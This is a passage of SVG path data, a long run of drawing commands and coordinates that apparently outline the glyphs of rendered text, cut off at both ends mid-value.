52.8139 26.6119 52.8011 26.467 52.8011C26.1346 52.8011 25.8945 52.8849 25.7468 53.0526C25.6019 53.2202 25.5295 53.4659 25.5295 53.7898V61H24.5238ZM34.4219 63.5909C33.9361 63.5909 33.5185 63.5284 33.169 63.4034C32.8196 63.2812 32.5284 63.1193 32.2955 62.9176C32.0653 62.7188 31.8821 62.5057 31.7457 62.2784L32.5469 61.7159C32.6378 61.8352 32.7528 61.9716 32.892 62.125C33.0313 62.2812 33.2216 62.4162 33.4631 62.5298C33.7074 62.6463 34.027 62.7045 34.4219 62.7045C34.9503 62.7045 35.3864 62.5767 35.7301 62.321C36.0739 62.0653 36.2457 61.6648 36.2457 61.1193V59.7898H36.1605C36.0866 59.9091 35.9815 60.0568 35.8452 60.233C35.7116 60.4062 35.5185 60.5611 35.2656 60.6974C35.0156 60.831 34.6776 60.8977 34.2514 60.8977C33.723 60.8977 33.2486 60.7727 32.8281 60.5227C32.4105 60.2727 32.0795 59.9091 31.8352 59.4318C31.5938 58.9545 31.473 58.375 31.473 57.6932C31.473 57.0227 31.5909 56.4389 31.8267 55.9418C32.0625 55.4418 32.3906 55.0554 32.8111 54.7827C33.2315 54.5071 33.7173 54.3693 34.2685 54.3693C34.6946 54.3693 35.0327 54.4403 35.2827 54.5824C35.5355 54.7216 35.7287 54.8807 35.8622 55.0597C35.9986 55.2358 36.1037 55.3807 36.1776 55.4943H36.2798V54.4545H37.2514V61.1875C37.2514 61.75 37.1236 62.2074 36.8679 62.5597C36.6151 62.9148 36.2741 63.1747 35.8452 63.3395C35.419 63.5071 34.9446 63.5909 34.4219 63.5909ZM34.3878 59.9943C34.7912 59.9943 35.1321 59.902 35.4105 59.7173C35.6889 59.5327 35.9006 59.267 36.0455 58.9205C36.1903 58.5739 36.2628 58.1591 36.2628 57.6761C36.2628 57.2045 36.1918 56.7884 36.0497 56.4276C35.9077 56.0668 35.6974 55.7841 35.419 55.5795C35.1406 55.375 34.7969 55.2727 34.3878 55.2727C33.9616 55.2727 33.6065 55.3807 33.3224 55.5966C33.0412 55.8125 32.8295 56.1023 32.6875 56.4659C32.5483 56.8295 32.4787 57.233 32.4787 57.6761C32.4787 58.1307 32.5497 58.5327 32.6918 58.8821C32.8366 59.2287 33.0497 59.5014 33.331 59.7003C33.6151 59.8963 33.9673 59.9943 34.3878 59.9943ZM39.0923 61V54.4545H40.0639V55.4432H40.1321C40.2514 55.1193 40.4673 54.8565 40.7798 54.6548C41.0923 54.4531 41.4446 54.3523 41.8366 54.3523C41.9105 54.3523 42.0028 54.3537 42.1136 54.3565C42.2244 54.3594 42.3082 54.3636 42.3651 54.3693V55.392C42.331 55.3835 42.2528 55.3707 42.1307 55.3537C42.0114 55.3338 41.8849 55.3239 41.7514 55.3239C41.4332 55.3239 41.1491 55.3906 40.8991 55.5241C40.652 55.6548 40.456 55.8366 40.3111 56.0696C40.169 56.2997 40.098 56.5625 40.098 56.858V61H39.0923ZM46.017 61.1364C45.4261 61.1364 44.9077 60.9957 44.4616 60.7145C44.0185 60.4332 43.6719 60.0398 43.4219 59.5341C43.1747 59.0284 43.0511 58.4375 43.0511 57.7614C43.0511 57.0795 43.1747 56.4844 43.4219 55.9759C43.6719 55.4673 44.0185 55.0724 44.4616 54.7912C44.9077 54.5099 45.4261 54.3693 46.017 54.3693C46.608 54.3693 47.125 54.5099 47.5682 54.7912C48.0142 55.0724 48.3608 55.4673 48.608 55.9759C48.858 56.4844 48.983 57.0795 48.983 57.7614C48.983 58.4375 48.858 59.0284 48.608 59.5341C48.3608 60.0398 48.0142 60.4332 47.5682 60.7145C47.125 60.9957 46.608 61.1364 46.017 61.1364ZM46.017 60.233C46.4659 60.233 46.8352 60.1179 47.125 59.8878C47.4148 59.6577 47.6293 59.3551 47.7685 58.9801C47.9077 58.6051 47.9773 58.1989 47.9773 57.7614C47.9773 57.3239 47.9077 56.9162 47.7685 56.5384C47.6293 56.1605 47.4148 55.8551 47.125 55.6222C46.8352 55.3892 46.4659 55.2727 46.017 55.2727C45.5682 55.2727 45.1989 55.3892 44.9091 55.6222C44.6193 55.8551 44.4048 56.1605 44.2656 56.5384C44.1264 56.9162 44.0568 57.3239 44.0568 57.7614C44.0568 58.1989 44.1264 58.6051 44.2656 58.9801C44.4048 59.3551 44.6193 59.6577 44.9091 59.8878C45.1989 60.1179 45.5682 60.233 46.017 60.233ZM51.7784 61L49.7841 54.4545H50.8409L52.2557 59.4659H52.3239L53.7216 54.4545H54.7955L56.1761 59.4489H56.2443L57.6591 54.4545H58.7159L56.7216 61H55.733L54.3011 55.9716H54.1989L52.767 61H51.7784ZM60.0455 61V54.4545H61.0511V61H60.0455ZM60.5568 53.3636C60.3608 53.3636 60.1918 53.2969 60.0497 53.1634C59.9105 53.0298 59.8409 52.8693 59.8409 52.6818C59.8409 52.4943 59.9105 52.3338 60.0497 52.2003C60.1918 52.0668 60.3608 52 60.5568 52C60.7528 52 60.9205 52.0668 61.0597 52.2003C61.2017 52.3338 61.2727 52.4943 61.2727 52.6818C61.2727 52.8693 61.2017 53.0298 61.0597 53.1634C60.9205 53.2969 60.7528 53.3636 60.5568 53.3636ZM63.8988 57.0625V61H62.8931V54.4545H63.8647V55.4773H63.9499C64.1033 55.1449 64.3363 54.8778 64.6488 54.6761C64.9613 54.4716 65.3647 54.3693 65.859 54.3693C66.3022 54.3693 66.69 54.4602 67.0224 54.642C67.3548 54.821 67.6133 55.0938 67.7979 55.4602C67.9826 55.8239 68.0749 56.2841 68.0749 56.8409V61H67.0692V56.9091C67.0692 56.3949 66.9357 55.9943 66.6687 55.7074C66.4016 55.4176 66.0352 55.2727 65.5692 55.2727C65.2482 55.2727 64.9613 55.3423 64.7085 55.4815C64.4585 55.6207 64.261 55.8239 64.1161 56.0909C63.9712 56.358 63.8988 56.6818 63.8988 57.0625ZM72.5547 63.5909C72.0689 63.5909 71.6513 63.5284 71.3018 63.4034C70.9524 63.2812 70.6612 63.1193 70.4283 62.9176C70.1982 62.7188 70.0149 62.5057 69.8786 62.2784L70.6797 61.7159C70.7706 61.8352 70.8857 61.9716 71.0249 62.125C71.1641 62.2812 71.3544 62.4162 71.5959 62.5298C71.8402 62.6463 72.1598 62.7045 72.5547 62.7045C73.0831 62.7045 73.5192 62.5767 73.8629 62.321C74.2067 62.0653 74.3786 61.6648 74.3786 61.1193V59.7898H74.2933C74.2195 59.9091 74.1143 60.0568 73.978 60.233C73.8445 60.4062 73.6513 60.5611 73.3984 60.6974C73.1484 60.831 72.8104 60.8977 72.3842 60.8977C71.8558 60.8977 71.3814 60.7727 70.9609 60.5227C70.5433 60.2727 70.2124 59.9091 69.968 59.4318C69.7266 58.9545 69.6058 58.375 69.6058 57.6932C69.6058 57.0227 69.7237 56.4389 69.9595 55.9418C70.1953 55.4418 70.5234 55.0554 70.9439 54.7827C71.3643 54.5071 71.8501 54.3693 72.4013 54.3693C72.8274 54.3693 73.1655 54.4403 73.4155 54.5824C73.6683 54.7216 73.8615 54.8807 73.995 55.0597C74.1314 55.2358 74.2365 55.3807 74.3104 55.4943H74.4126V54.4545H75.3842V61.1875C75.3842 61.75 75.2564 62.2074 75.0007 62.5597C74.7479 62.9148 74.407 63.1747 73.978 63.3395C73.5518 63.5071 73.0774 63.5909 72.5547 63.5909ZM72.5206 59.9943C72.924 59.9943 73.2649 59.902 73.5433 59.7173C73.8217 59.5327 74.0334 59.267 74.1783 58.9205C74.3232 58.5739 74.3956 58.1591 74.3956 57.6761C74.3956 57.2045 74.3246 56.7884 74.1825 56.4276C74.0405 56.0668 73.8303 55.7841 73.5518 55.5795C73.2734 55.375 72.9297 55.2727 72.5206 55.2727C72.0945 55.2727 71.7393 55.3807 71.4553 55.5966C71.174 55.8125 70.9624 56.1023 70.8203 56.4659C70.6811 56.8295 70.6115 57.233 70.6115 57.6761C70.6115 58.1307 70.6825 58.5327 70.8246 58.8821C70.9695 59.2287 71.1825 59.5014 71.4638 59.7003C71.7479 59.8963 72.1001 59.9943 72.5206 59.9943ZM82.5263 61.1534C82.1115 61.1534 81.7351 61.0753 81.397 60.919C81.0589 60.7599 80.7905 60.5312 80.5916 60.233C80.3928 59.9318 80.2933 59.5682 80.2933 59.142C80.2933 58.767 80.3672 58.4631 80.5149 58.2301C80.6626 57.9943 80.8601 57.8097 81.1072 57.6761C81.3544 57.5426 81.6271 57.4432 81.9254 57.3778C82.2266 57.3097 82.5291 57.2557 82.8331 57.2159C83.2308 57.1648 83.5533 57.1264 83.8004 57.1009C84.0504 57.0724 84.2322 57.0256 84.3459 56.9602C84.4624 56.8949 84.5206 56.7812 84.5206 56.6193V56.5852C84.5206 56.1648 84.4055 55.8381 84.1754 55.6051C83.9482 55.3722 83.603 55.2557 83.1399 55.2557C82.6598 55.2557 82.2834 55.3608 82.0107 55.571C81.7379 55.7812 81.5462 56.0057 81.4354 56.2443L80.4808 55.9034C80.6513 55.5057 80.8786 55.196 81.1626 54.9744C81.4496 54.75 81.7621 54.5937 82.1001 54.5057C82.4411 54.4148 82.7763 54.3693 83.1058 54.3693C83.3161 54.3693 83.5575 54.3949 83.8303 54.446C84.1058 54.4943 84.3714 54.5952 84.6271 54.7486C84.8857 54.902 85.1001 55.1335 85.2706 55.4432C85.4411 55.7528 85.5263 56.1676 85.5263 56.6875V61H84.5206V60.1136H84.4695C84.4013 60.2557 84.2876 60.4077 84.1286 60.5696C83.9695 60.7315 83.7578 60.8693 83.4936 60.983C83.2294 61.0966 82.907 61.1534 82.5263 61.1534ZM82.6797 60.25C83.0774 60.25 83.4126 60.1719 83.6854 60.0156C83.9609 59.8594 84.1683 59.6577 84.3075 59.4105C84.4496 59.1634 84.5206 58.9034 84.5206 58.6307V57.7102C84.478 57.7614 84.3842 57.8082 84.2393 57.8509C84.0973 57.8906 83.9325 57.9261 83.745 57.9574C83.5604 57.9858 83.38 58.0114 83.2038 58.0341C83.0305 58.054 82.8899 58.071 82.782 58.0852C82.5206 58.1193 82.2763 58.1747 82.049 58.2514C81.8246 58.3253 81.6428 58.4375 81.5036 58.5881C81.3672 58.7358 81.299 58.9375 81.299 59.1932C81.299 59.5426 81.4283 59.8068 81.6868 59.9858C81.9482 60.1619 82.2791 60.25 82.6797 60.25ZM88.3675 52.2727V61H87.3619V52.2727H88.3675ZM92.8686 61.1364C92.2777 61.1364 91.7592 60.9957 91.3132 60.7145C90.87 60.4332 90.5234 60.0398 90.2734 59.5341C90.0263 59.0284 89.9027 58.4375 89.9027 57.7614C89.9027 57.0795 90.0263 56.4844 90.2734 55.9759C90.5234 55.4673 90.87 55.0724 91.3132 54.7912C91.7592 54.5099 92.2777 54.3693 92.8686 54.3693C93.4595 54.3693 93.9766 54.5099 94.4197 54.7912C94.8658 55.0724 95.2124 55.4673 95.4595 55.9759C95.7095 56.4844 95.8345 57.0795 95.8345 57.7614C95.8345 58.4375 95.7095 59.0284 95.4595 59.5341C95.2124 60.0398 94.8658 60.4332 94.4197 60.7145C93.9766 60.9957 93.4595 61.1364 92.8686 61.1364ZM92.8686 60.233C93.3175 60.233 93.6868 60.1179 93.9766 59.8878C94.2663 59.6577 94.4808 59.3551 94.62 58.9801C94.7592 58.6051 94.8288 58.1989 94.8288 57.7614C94.8288 57.3239 94.7592 56.9162 94.62 56.5384C94.4808 56.1605 94.2663 55.8551 93.9766 55.6222C93.6868 55.3892 93.3175 55.2727 92.8686 55.2727C92.4197 55.2727 92.0504 55.3892 91.7607 55.6222C91.4709 55.8551 91.2564 56.1605 91.1172 56.5384C90.978 56.9162 90.9084 57.3239 90.9084 57.7614C90.9084 58.1989 90.978 58.6051 91.1172 58.9801C91.2564 59.3551 91.4709 59.6577 91.7607 59.8878C92.0504 60.1179 92.4197 60.233 92.8686 60.233ZM98.3754 57.0625V61H97.3697V54.4545H98.3413V55.4773H98.4265C98.5799 55.1449 98.8129 54.8778 99.1254 54.6761C99.4379 54.4716 99.8413 54.3693 100.336 54.3693C100.779 54.3693 101.167 54.4602 101.499 54.642C101.831 54.821 102.09 55.0938 102.275 55.4602C102.459 55.8239 102.551 56.2841 102.551 56.8409V61H101.546V56.9091C101.546 56.3949 101.412 55.9943 101.145 55.7074C100.878 55.4176 100.512 55.2727 100.046 55.2727C99.7248 55.2727 99.4379 55.3423 99.185 55.4815C98.935 55.6207 98.7376 55.8239 98.5927 56.0909C98.4478 56.358 98.3754 56.6818 98.3754 57.0625ZM107.031 63.5909C106.545 63.5909 106.128 63.5284 105.778 63.4034C105.429 63.2812 105.138 63.1193 104.905 62.9176C104.675 62.7188 104.491 62.5057 104.355 62.2784L105.156 61.7159C105.247 61.8352 105.362 61.9716 105.501 62.125C105.641 62.2812 105.831 62.4162 106.072 62.5298C106.317 62.6463 106.636 62.7045 107.031 62.7045C107.56 62.7045 107.996 62.5767 108.339 62.321C108.683 62.0653 108.855 61.6648 108.855 61.1193V59.7898H108.77C108.696 59.9091 108.591 60.0568 108.455 60.233C108.321 60.4062 108.128 60.5611 107.875 60.6974C107.625 60.831 107.287 60.8977 106.861 60.8977C106.332 60.8977 105.858 60.7727 105.438 60.5227C105.02 60.2727 104.689 59.9091 104.445 59.4318C104.203 58.9545 104.082 58.375 104.082 57.6932C104.082 57.0227 104.2 56.4389 104.436 55.9418C104.672 55.4418 105 55.0554 105.42 54.7827C105.841 54.5071 106.327 54.3693 106.878 54.3693C107.304 54.3693 107.642 54.4403 107.892 54.5824C108.145 54.7216 108.338 54.8807 108.472 55.0597C108.608 55.2358 108.713 55.3807 108.787 55.4943H108.889V54.4545H109.861V61.1875C109.861 61.75 109.733 62.2074 109.477 62.5597C109.224 62.9148 108.884 63.1747 108.455 63.3395C108.028 63.5071 107.554 63.5909 107.031 63.5909ZM106.997 59.9943C107.401 59.9943 107.741 59.902 108.02 59.7173C108.298 59.5327 108.51 59.267 108.655 58.9205C108.8 58.5739 108.872 58.1591 108.872 57.6761C108.872 57.2045 108.801 56.7884 108.659 56.4276C108.517 56.0668 108.307 55.7841 108.028 55.5795C107.75 55.375 107.406 55.2727 106.997 55.2727C106.571 55.2727 106.216 55.3807 105.932 55.5966C105.651 55.8125 105.439 56.1023 105.297 56.4659C105.158 56.8295 105.088 57.233 105.088 57.6761C105.088 58.1307 105.159 58.5327 105.301 58.8821C105.446 59.2287 105.659 59.5014 105.94 59.7003C106.224 59.8963 106.577 59.9943 106.997 59.9943ZM116.338 55.9205L115.435 56.1761C115.378 56.0256 115.294 55.8793 115.183 55.7372C115.075 55.5923 114.928 55.473 114.74 55.3793C114.553 55.2855 114.312 55.2386 114.02 55.2386C113.619 55.2386 113.286 55.331 113.018 55.5156C112.754 55.6974 112.622 55.929 112.622 56.2102C112.622 56.4602 112.713 56.6577 112.895 56.8026C113.077 56.9474 113.361 57.0682 113.747 57.1648L114.719 57.4034C115.304 57.5455 115.74 57.7628 116.027 58.0554C116.314 58.3452 116.457 58.7187 116.457 59.1761C116.457 59.5511 116.349 59.8864 116.134 60.1818C115.92 60.4773 115.622 60.7102 115.239 60.8807C114.855 61.0511 114.409 61.1364 113.901 61.1364C113.233 61.1364 112.68 60.9915 112.243 60.7017C111.805 60.4119 111.528 59.9886 111.412 59.4318L112.366 59.1932C112.457 59.5455 112.629 59.8097 112.882 59.9858C113.138 60.1619 113.472 60.25 113.884 60.25C114.352 60.25 114.724 60.1506 115 59.9517C115.278 59.75 115.418 59.5085 115.418 59.2273C115.418 59 115.338 58.8097 115.179 58.6562C115.02 58.5 114.776 58.3835 114.446 58.3068L113.355 58.0511C112.756 57.9091 112.315 57.6889 112.034 57.3906C111.756 57.0895 111.616 56.7131 111.616 56.2614C111.616 55.892 111.72 55.5653 111.928 55.2812C112.138 54.9972 112.423 54.7741 112.784 54.6122C113.148 54.4503 113.56 54.3693 114.02 54.3693C114.668 54.3693 115.176 54.5114 115.545 54.7955C115.918 55.0795 116.182 55.4545 116.338 55.9205ZM117.971 61V54.4545H118.977V61H117.971ZM118.483 53.3636C118.287 53.3636 118.118 53.2969 117.975 53.1634C117.836 53.0298 117.767 52.8693 117.767 52.6818C117.767 52.4943 117.836 52.3338 117.975 52.2003C118.118 52.0668 118.287 52 118.483 52C118.679 52 118.846 52.0668 118.985 52.2003C119.127 52.3338 119.199 52.4943 119.199 52.6818C119.199 52.8693 119.127 53.0298 118.985 53.1634C118.846 53.2969 118.679 53.3636 118.483 53.3636ZM123.29 61.1364C122.745 61.1364 122.263 60.9986 121.846 60.723C121.428 60.4446 121.102 60.0526 120.866 59.5469C120.63 59.0384 120.512 58.4375 120.512 57.7443C120.512 57.0568 120.63 56.4602 120.866 55.9545C121.102 55.4489 121.43 55.0582 121.85 54.7827C122.271 54.5071 122.756 54.3693 123.308 54.3693C123.734 54.3693 124.07 54.4403 124.317 54.5824C124.567 54.7216 124.758 54.8807 124.888 55.0597C125.022 55.2358 125.126 55.3807 125.2 55.4943H125.285V52.2727H126.29V61H125.319V59.9943H125.2C125.126 60.1136 125.021 60.2642 124.884 60.446C124.748 60.625 124.553 60.7855 124.3 60.9276C124.048 61.0668 123.711 61.1364 123.29 61.1364ZM123.427 60.233C123.83 60.233 124.171 60.1278 124.45 59.9176C124.728 59.7045 124.94 59.4105 125.085 59.0355C125.229 58.6577 125.302 58.2216 125.302 57.7273C125.302 57.2386 125.231 56.8111 125.089 56.4446C124.947 56.0753 124.737 55.7884 124.458 55.5838C124.18 55.3764 123.836 55.2727 123.427 55.2727C123.001 55.2727 122.646 55.3821 122.362 55.6009C122.08 55.8168 121.869 56.1108 121.727 56.483C121.587 56.8523 121.518 57.267 121.518 57.7273C121.518 58.1932 121.589 58.6165 121.731 58.9972C121.876 59.375 122.089 59.6761 122.37 59.9006C122.654 60.1222 123.006 60.233 123.427 60.233ZM131.016 61.1364C130.386 61.1364 129.842 60.9972 129.384 60.7188C128.93 60.4375 128.579 60.0455 128.332 59.5426C128.087 59.0369 127.965 58.4489 127.965 57.7784C127.965 57.108 128.087 56.517 128.332 56.0057C128.579 55.4915 128.923 55.0909 129.363 54.804C129.806 54.5142 130.323 54.3693 130.914 54.3693C131.255 54.3693 131.592 54.4261 131.924 54.5398C132.256 54.6534 132.559 54.8381 132.832 55.0938C133.104 55.3466 133.322 55.6818 133.484 56.0994C133.646 56.517 133.727 57.0312 133.727 57.642V58.0682H128.681V57.1989H132.704C132.704 56.8295 132.63 56.5 132.482 56.2102C132.337 55.9205 132.13 55.6918 131.86 55.5241C131.593 55.3565 131.278 55.2727 130.914 55.2727C130.513 55.2727 130.167 55.3722 129.874 55.571C129.585 55.767 129.362 56.0227 129.205 56.3381C129.049 56.6534 128.971 56.9915 128.971 57.3523V57.9318C128.971 58.4261 129.056 58.8452 129.227 59.1889C129.4 59.5298 129.64 59.7898 129.947 59.9688C130.254 60.1449 130.61 60.233 131.016 60.233C131.281 60.233 131.519 60.196 131.732 60.1222C131.948 60.0455 132.134 59.9318 132.29 59.7812C132.447 59.6278 132.567 59.4375 132.653 59.2102L133.624 59.483C133.522 59.8125 133.35 60.1023 133.109 60.3523C132.867 60.5994 132.569 60.7926 132.214 60.9318C131.859 61.0682 131.46 61.1364 131.016 61.1364ZM19.767 72.4545V73.3068H16.375V72.4545H19.767ZM17.3636 70.8864H18.3693V77.125C18.3693 77.4091 18.4105 77.6222 18.4929 77.7642C18.5781 77.9034 18.6861 77.9972 18.8168 78.0455C18.9503 78.0909 19.0909 78.1136 19.2386 78.1136C19.3494 78.1136 19.4403 78.108 19.5114 78.0966C19.5824 78.0824 19.6392 78.071 19.6818 78.0625L19.8864 78.9659C19.8182 78.9915 19.723 79.017 19.6009 79.0426C19.4787 79.071 19.3239 79.0852 19.1364 79.0852C18.8523 79.0852 18.5739 79.0241 18.3011 78.902C18.0313 78.7798 17.8068 78.5938 17.6278 78.3438C17.4517 78.0938 17.3636 77.7784 17.3636 77.3977V70.8864ZM22.4261 75.0625V79H21.4205V70.2727H22.4261V73.4773H22.5114C22.6648 73.1392 22.8949 72.8707 23.2017 72.6719C23.5114 72.4702 23.9233 72.3693 24.4375 72.3693C24.8835 72.3693 25.2741 72.4588 25.6094 72.6378C25.9446 72.8139 26.2045 73.0852 26.3892 73.4517C26.5767 73.8153 26.6705 74.2784 26.6705 74.8409V79H25.6648V74.9091C25.6648 74.3892 25.5298 73.9872 25.2599 73.7031C24.9929 73.4162 24.6222 73.2727 24.1477 73.2727C23.8182 73.2727 23.5227 73.3423 23.2614 73.4815C23.0028 73.6207 22.7983 73.8239 22.6477 74.0909C22.5 74.358 22.4261 74.6818 22.4261 75.0625ZM31.2546 79.1364C30.6239 79.1364 30.0799 78.9972 29.6225 78.7188C29.168 78.4375 28.8171 78.0455 28.57 77.5426C28.3256 77.0369 28.2035 76.4489 28.2035 75.7784C28.2035 75.108 28.3256 74.517 28.57 74.0057C28.8171 73.4915 29.1609 73.0909 29.6012 72.804C30.0444 72.5142 30.5614 72.3693 31.1523 72.3693C31.4933 72.3693 31.8299 72.4261 32.1623 72.5398C32.4947 72.6534 32.7972 72.8381 33.07 73.0938C33.3427 73.3466 33.56 73.6818 33.7219 74.0994C33.8839 74.517 33.9648 75.0312 33.9648 75.642V76.0682H28.9194V75.1989H32.9421C32.9421 74.8295 32.8683 74.5 32.7205 74.2102C32.5756 73.9205 32.3683 73.6918 32.0984 73.5241C31.8313 73.3565 31.516 73.2727 31.1523 73.2727C30.7518 73.2727 30.4052 73.3722 30.1126 73.571C29.8228 73.767 29.5998 74.0227 29.4435 74.3381C29.2873 74.6534 29.2092 74.9915 29.2092 75.3523V75.9318C29.2092 76.4261 29.2944 76.8452 29.4648 77.1889C29.6381 77.5298 29.8782 77.7898 30.185 77.9688C30.4918 78.1449 30.8484 78.233 31.2546 78.233C31.5188 78.233 31.7575 78.196 31.9705 78.1222C32.1864 78.0455 32.3725 77.9318 32.5288 77.7812C32.685 77.6278 32.8058 77.4375 32.891 77.2102L33.8626 77.483C33.7603 77.8125 33.5884 78.1023 33.3469 78.3523C33.1055 78.5994 32.8072 78.7926 32.4521 78.9318C32.0969 79.0682 31.6978 79.1364 31.2546 79.1364ZM39.006 79V70.2727H40.0117V73.4943H40.0969C40.1708 73.3807 40.2731 73.2358 40.4038 73.0597C40.5373 72.8807 40.7276 72.7216 40.9748 72.5824C41.2248 72.4403 41.5629 72.3693 41.989 72.3693C42.5401 72.3693 43.0259 72.5071 43.4464 72.7827C43.8668 73.0582 44.195 73.4489 44.4308 73.9545C44.6665 74.4602 44.7844 75.0568 44.7844 75.7443C44.7844 76.4375 44.6665 77.0384 44.4308 77.5469C44.195 78.0526 43.8683 78.4446 43.4506 78.723C43.033 78.9986 42.5515 79.1364 42.006 79.1364C41.5856 79.1364 41.2489 79.0668 40.9961 78.9276C40.7433 78.7855 40.5487 78.625 40.4123 78.446C40.2759 78.2642 40.1708 78.1136 40.0969 77.9943H39.9776V79H39.006ZM39.9947 75.7273C39.9947 76.2216 40.0671 76.6577 40.212 77.0355C40.3569 77.4105 40.5685 77.7045 40.8469 77.9176C41.1254 78.1278 41.4663 78.233 41.8697 78.233C42.2901 78.233 42.641 78.1222 42.9222 77.9006C43.2063 77.6761 43.4194 77.375 43.5614 76.9972C43.7063 76.6165 43.7788 76.1932 43.7788 75.7273C43.7788 75.267 43.7077 74.8523 43.5657 74.483C43.4265 74.1108 43.2148 73.8168 42.9308 73.6009C42.6495 73.3821 42.2958 73.2727 41.8697 73.2727C41.4606 73.2727 41.1168 73.3764 40.8384 73.5838C40.56 73.7884 40.3498 74.0753 40.2077 74.4446C40.0657 74.8111 39.9947 75.2386 39.9947 75.7273ZM46.3228 79V72.4545H47.2944V73.4432H47.3626C47.4819 73.1193 47.6978 72.8565 48.0103 72.6548C48.3228 72.4531 48.6751 72.3523 49.0671 72.3523C49.141 72.3523 49.2333 72.3537 49.3441 72.3565C49.4549 72.3594 49.5387 72.3636 49.5955 72.3693V73.392C49.5614 73.3835 49.4833 73.3707 49.3612 73.3537C49.2418 73.3338 49.1154 73.3239 48.9819 73.3239C48.6637 73.3239 48.3796 73.3906 48.1296 73.5241C47.8825 73.6548 47.6864 73.8366 47.5415 74.0696C47.3995 74.2997 47.3285 74.5625 47.3285 74.858V79H46.3228ZM52.7138 79.1534C52.299 79.1534 51.9226 79.0753 51.5845 78.919C51.2464 78.7599 50.978 78.5312 50.7791 78.233C50.5803 77.9318 50.4808 77.5682 50.4808 77.142C50.4808 76.767 50.5547 76.4631 50.7024 76.2301C50.8501 75.9943 51.0476 75.8097 51.2947 75.6761C51.5419 75.5426 51.8146 75.4432 52.1129 75.3778C52.4141 75.3097 52.7166 75.2557 53.0206 75.2159C53.4183 75.1648 53.7408 75.1264 53.9879 75.1009C54.2379 75.0724 54.4197 75.0256 54.5334 74.9602C54.6499 74.8949 54.7081 74.7812 54.7081 74.6193V74.5852C54.7081 74.1648 54.593 73.8381 54.3629 73.6051C54.1357 73.3722 53.7905 73.2557 53.3274 73.2557C52.8473 73.2557 52.4709 73.3608 52.1982 73.571C51.9254 73.7812 51.7337 74.0057 51.6229 74.2443L50.6683 73.9034C50.8388 73.5057 51.0661 73.196 51.3501 72.9744C51.6371 72.75 51.9496 72.5937 52.2876 72.5057C52.6286 72.4148 52.9638 72.3693 53.2933 72.3693C53.5036 72.3693 53.745 72.3949 54.0178 72.446C54.2933 72.4943 54.5589 72.5952 54.8146 72.7486C55.0732 72.902 55.2876 73.1335 55.4581 73.4432C55.6286 73.7528 55.7138 74.1676 55.7138 74.6875V79H54.7081V78.1136H54.657C54.5888 78.2557 54.4751 78.4077 54.3161 78.5696C54.157 78.7315 53.9453 78.8693 53.6811 78.983C53.4169 79.0966 53.0945 79.1534 52.7138 79.1534ZM52.8672 78.25C53.2649 78.25 53.6001 78.1719 53.8729 78.0156C54.1484 77.8594 54.3558 77.6577 54.495 77.4105C54.6371 77.1634 54.7081 76.9034 54.7081 76.6307V75.7102C54.6655 75.7614 54.5717 75.8082 54.4268 75.8509C54.2848 75.8906 54.12 75.9261 53.9325 75.9574C53.7479 75.9858 53.5675 76.0114 53.3913 76.0341C53.218 76.054 53.0774 76.071 52.9695 76.0852C52.7081 76.1193 52.4638 76.1747 52.2365 76.2514C52.0121 76.3253 51.8303 76.4375 51.6911 76.5881C51.5547 76.7358 51.4865 76.9375 51.4865 77.1932C51.4865 77.5426 51.6158 77.8068 51.8743 77.9858C52.1357 78.1619 52.4666 78.25 52.8672 78.25ZM58.555 75.0625V79H57.5494V72.4545H58.521V73.4773H58.6062C58.7596 73.1449 58.9925 72.8778 59.305 72.6761C59.6175 72.4716 60.021 72.3693 60.5153 72.3693C60.9585 72.3693 61.3462 72.4602 61.6786 72.642C62.011 72.821 62.2695 73.0938 62.4542 73.4602C62.6388 73.8239 62.7312 74.2841 62.7312 74.8409V79H61.7255V74.9091C61.7255 74.3949 61.592 73.9943 61.3249 73.7074C61.0579 73.4176 60.6914 73.2727 60.2255 73.2727C59.9045 73.2727 59.6175 73.3423 59.3647 73.4815C59.1147 73.6207 58.9173 73.8239 58.7724 74.0909C58.6275 74.358 58.555 74.6818 58.555 75.0625ZM67.0405 79.1364C66.495 79.1364 66.0135 78.9986 65.5959 78.723C65.1783 78.4446 64.8516 78.0526 64.6158 77.5469C64.38 77.0384 64.2621 76.4375 64.2621 75.7443C64.2621 75.0568 64.38 74.4602 64.6158 73.9545C64.8516 73.4489 65.1797 73.0582 65.6001 72.7827C66.0206 72.5071 66.5064 72.3693 67.0575 72.3693C67.4837 72.3693 67.8203 72.4403 68.0675 72.5824C68.3175 72.7216 68.5078 72.8807 68.6385 73.0597C68.772 73.2358 68.8757 73.3807 68.9496 73.4943H69.0348V70.2727H70.0405V79H69.0689V77.9943H68.9496C68.8757 78.1136 68.7706 78.2642 68.6342 78.446C68.4979 78.625 68.3033 78.7855 68.0504 78.9276C67.7976 79.0668 67.4609 79.1364 67.0405 79.1364ZM67.1768 78.233C67.5803 78.233 67.9212 78.1278 68.1996 77.9176C68.478 77.7045 68.6896 77.4105 68.8345 77.0355C68.9794 76.6577 69.0518 76.2216 69.0518 75.7273C69.0518 75.2386 68.9808 74.8111 68.8388 74.4446C68.6967 74.0753 68.4865 73.7884 68.2081 73.5838C67.9297 73.3764 67.5859 73.2727 67.1768 73.2727C66.7507 73.2727 66.3956 73.3821 66.1115 73.6009C65.8303 73.8168 65.6186 74.1108 65.4766 74.483C65.3374 74.8523 65.2678 75.267 65.2678 75.7273C65.2678 76.1932 65.3388 76.6165 65.4808 76.9972C65.6257 77.375 65.8388 77.6761 66.12 77.9006C66.4041 78.1222 66.7564 78.233 67.1768 78.233ZM76.6584 73.9205L75.755 74.1761C75.6982 74.0256 75.6143 73.8793 75.5036 73.7372C75.3956 73.5923 75.2479 73.473 75.0604 73.3793C74.8729 73.2855 74.6328 73.2386 74.3402 73.2386C73.9396 73.2386 73.6058 73.331 73.3388 73.5156C73.0746 73.6974 72.9425 73.929 72.9425 74.2102C72.9425 74.4602 73.0334 74.6577 73.2152 74.8026C73.397 74.9474 73.6811 75.0682 74.0675 75.1648L75.0391 75.4034C75.6243 75.5455 76.0604 75.7628 76.3473 76.0554C76.6342 76.3452 76.7777 76.7187 76.7777 77.1761C76.7777 77.5511 76.6697 77.8864 76.4538 78.1818C76.2408 78.4773 75.9425 78.7102 75.5589 78.8807C75.1754 79.0511 74.7294 79.1364 74.2209 79.1364C73.5533 79.1364 73.0007 78.9915 72.5632 78.7017C72.1257 78.4119 71.8487 77.9886 71.7322 77.4318L72.6868 77.1932C72.7777 77.5455 72.9496 77.8097 73.2024 77.9858C73.4581 78.1619 73.7919 78.25 74.2038 78.25C74.6726 78.25 75.0447 78.1506 75.3203 77.9517C75.5987 77.75 75.7379 77.5085 75.7379 77.2273C75.7379 77 75.6584 76.8097 75.4993 76.6562C75.3402 